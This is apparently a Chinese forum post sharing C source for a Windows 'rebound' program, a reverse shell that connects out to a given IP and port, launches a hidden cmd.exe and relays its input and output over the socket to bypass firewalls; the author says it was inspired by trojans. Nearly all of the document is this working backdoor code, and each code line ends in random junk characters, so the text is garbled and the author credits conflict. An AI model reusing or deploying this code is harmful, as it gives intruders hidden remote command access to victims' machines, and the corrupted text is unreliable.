这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 l+'@y (}Q
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/* ============================== ZR<T\w
Rebound port in Windows NT $DZ\61
By wind,2006/7 2r2qZ#I}
===============================*/ 66*/"dBwm
#include 0b9;vlGq$
#include IWvLt
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#pragma comment(lib,"wsock32.lib") vT V'D&x2
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void OutputShell(); %e2,p&0G
SOCKET sClient; cF9bSY_Eh
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Xm./XC
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void main(int argc,char **argv) GndU}[0J
{ 6eqxwj{S[
WSADATA stWsaData; <(dHh9$~
int nRet; }>I|\Z0I
SOCKADDR_IN stSaiClient,stSaiServer; cXiNO
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if(argc != 3) l2"{uCcA
{ +jePp_3$O
printf("Useage:\n\rRebound DestIP DestPort\n"); QS:dr."k
return; eAh~`
} `LU[+F8<
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WSAStartup(MAKEWORD(2,2),&stWsaData); _FXvJ}~m
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )?#*GMWU
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stSaiClient.sin_family = AF_INET; SFVOof#s
stSaiClient.sin_port = htons(0); 4.:2!Q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); a>x3UVf_
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) hI.@!$~=
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printf("Bind Socket Failed!\n"); e^)+bmh
return; 1zwk0={x-%
} q}[g/%
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stSaiServer.sin_family = AF_INET; *Y"Kbn6
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); XKD0n^L[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 36mp+}R#
{ We&~]-b AW
printf("Connect Error!"); (jbHV.]P9
return; oc+TsVt
} v?e@`;-
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OutputShell(); F?#^wm5TZ
} ru#,pJ=O(
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void OutputShell() |[apLQ6
{ ~NT2QY5!K
char szBuff[1024]; eT33&:n4
SECURITY_ATTRIBUTES stSecurityAttributes; IE7%u92
OSVERSIONINFO stOsversionInfo; }71a3EUK
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; dU`kJ,=Z
STARTUPINFO stStartupInfo; M0Y#=u.
char *szShell; Ws%@SK
PROCESS_INFORMATION stProcessInformation; :.8@ xVH
unsigned long lBytesRead; GCaiogiBg
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9u6GeK~G
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g\_J
stSecurityAttributes.lpSecurityDescriptor = 0; DFDlp
stSecurityAttributes.bInheritHandle = TRUE; oYOR%'0*m+
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); NWnUXR
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Er /:iO)_
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D d['e
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $gZC"~BR
stStartupInfo.wShowWindow = SW_HIDE; +i"^"/2f{
stStartupInfo.hStdInput = hReadPipe; .g/PWEr\I
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8@b,>l$
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GetVersionEx(&stOsversionInfo); n
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switch(stOsversionInfo.dwPlatformId) fXNl27c-
{ ca )n*SD
case 1: -rg >y!L
szShell = "command.com"; kAc8[Hn
break; >6yA+?[:
default: C_CUk d[
szShell = "cmd.exe"; (*qMs)~]B
break; fcaUj9qN
} *CtWDUxSdW
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O_vCZW
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send(sClient,szMsg,77,0); tqok.h
while(1) f/"?(7F
{ 73C7g<
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Fsdp"X.
if(lBytesRead) ENoGV;WG
{ -/^a2_d[
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [f ._w~
send(sClient,szBuff,lBytesRead,0); 3[_zz;Y*d
} HNXMM
else LVHIQ9
{ <!qN<#$y
lBytesRead=recv(sClient,szBuff,1024,0); O+f'Ql
if(lBytesRead<=0) break; {H F,F=W
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Y\7WCaSgi
} LIah'6qR
} ;@5N
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return; _8QHx;}
}